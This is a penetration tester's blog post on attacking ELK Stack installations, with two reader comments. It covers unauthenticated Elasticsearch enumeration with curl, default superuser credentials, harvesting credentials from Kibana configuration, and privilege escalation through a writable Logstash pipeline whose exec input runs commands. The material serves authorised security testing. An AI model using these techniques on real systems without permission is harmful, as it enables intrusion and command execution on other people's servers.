With this blog post, I will provide information on how to proceed when testing ELK Stack landscapes. Information regarding the exploitation of the ELK Stack is very rare on the internet. Therefore, following article aims to provide you with some approaches that can be useful during a penetration test.
Disclaimer:
Table of Contents
Background
The ELK stack describes a stack that consists of three open-source projects: Elasticsearch, Logstash and Kibana. Elasticsearch stores data and provides a fast search engine. Kibana is a graphical interface which allows the analysis and visualization of the stored data in Elasticsearch. Logstash is used to collect data from different sources and for saving it into Elasticsearch.
Documentation
The documentation for the ELK Stack is very detailed and can be found here:
Important Configuration Files
- Elasticsearch configuration: /etc/elasticsearch/elasticsearch.yml
- Kibana configuration: /etc/kibana/kibana.yml
- Logstash configuration: /etc/logstash/logstash.yml
- Filebeat configuration: /etc/filebeat/filebeat.yml
Elasticsearch
Authentication disabled?
The first step is to check whether you can get the version:
curl -X GET "ELASTICSEARCH-SERVER:9200/" { "name" : "userver", "cluster_name" : "elasticsearch", "cluster_uuid" : "lZNH15okQPWfNHp-Aks0OQ", "version" : { "number" : "7.9.3", "build_flavor" : "default", "build_type" : "deb", "build_hash" : "c4138e51121ef06a6404866cddc601906fe5c868", "build_date" : "2020-10-16T10:36:16.141335Z", "build_snapshot" : false, "lucene_version" : "8.6.2", "minimum_wire_compatibility_version" : "6.8.0", "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" }
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" {"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
Authentication enabled?
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
-
elastic (This is the superuser! Older versions of Elasticsearch have the default password changeme for this user)
-
kibana_system
-
logstash_system
-
beats_system
-
apm_system
-
remote_monitoring_user
Anonymous access or valid credentials?
-
Using the API key:
curl -H "Authorization: ApiKey <API-KEY>" ELASTICSEARCH-SERVER:9200/
-
Get more information about the rights of an user:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
-
List all users on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
-
List all roles on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role
Enabled SSL/TLS?
Having access to the Elasticsearch machine?
Kibana
Authentication?
You might find credentials in the configuration file /etc/kibana/kibana.yml. If those credentials are not for the user kibana_system, it should be tried to use them for accessing further data. They could have more rights then the kibana_system user, which only has access to the monitoring API and the .kibana index.
Having Access?
When having access to Kibana you can do several things:
- Try to access data from Elasticsearch
- Check if you can access the users panel and if you can edit, delete or create new users, roles or API Keys (Stack Management -> Users/Roles/API Keys)
- Check the current version for vulnerabilities (There was a RCE vulnerability in 2019 for Kibana versions < 6.6.0 [2])
Enabled SSL/TLS?
If SSL/TLS is not enabled, it should be evaluated, whether sensitive information can be leaked.
Logstash
Logstash is the last service of the ELK stack and is used for collecting, transforming and outputting logs. This is realized by using pipelines, which contain input, filter and output modules. The service gets interesting when having compromised a machine which is running Logstash as a service.
Any pipelines?
The pipeline configuration file /etc/logstash/pipelines.yml specifies the locations of active pipelines:
# This file is where you define your pipelines. You can define multiple. # For more information on multiple pipelines, see the documentation: # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example path.config: "/usr/share/logstash/pipeline/1*.conf" pipeline.workers: 6
Privesc with writable pipelines?
Before trying to elevate your own privileges you should check which user is running the logstash service, since this will be the user, you will be owning afterwards. You should evaluate if it is worth it trying this approach! Per default the logstash service runs with the privileges of the logstash user.
Check whether you have one of the required rights:
- You have write permissions on a pipeline .conf file or
-
/etc/logstash/pipelines.yml contains a wildcard and you are allowed to write into the specified folder
Further one of the requirements must be met:
- You are able to restart the logstash service or
-
/etc/logstash/logstash.yml contains the entry config.reload.automatic: true
If a wildcard is specified, try to create a file matching that wildcard. Following content can be written into the file to execute commands:
input { exec { command => "whoami" interval => 120 } } output { file { path => "/tmp/output.log" codec => rubydebug } }
If /etc/logstash/logstash.yml contains the entry config.reload.automatic: true you only have to wait until the command gets executed, since Logstash will automatically recognize new pipeline configuration files or any changes in existing pipeline configurations. Otherwise trigger a restart of the logstash service.
If no wildcard is used, you can apply those changes to an existing pipeline configuration. Make sure you do not break things!
Analysis of the configured input sources
Questions for an white-box audit:
- Is sensitive data loaded via. unencrypted channels?
- Are the input sources properly protected? Can an attacker inject malicious/manipulated log entries?
Black-box pentesting without access to the Logstash configuration:
- Try to identify input source by
- scan for open ports
- capture traffic (MitM position is required to do this)
- Try to identify the plugins used, e.g.
- Try to inject manipulated log entries into the pipeline
- Check with the customer if you are allowed to do this!
Cheers,
Gregor
References
[1] https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html
[2] https://github.com/LandGrey/CVE-2019-7609/
Packetbeat is also interesting. It is using Winpcap as default on Windows and allows all local users to read network traffic
Great article, I never forget this one, Thanks!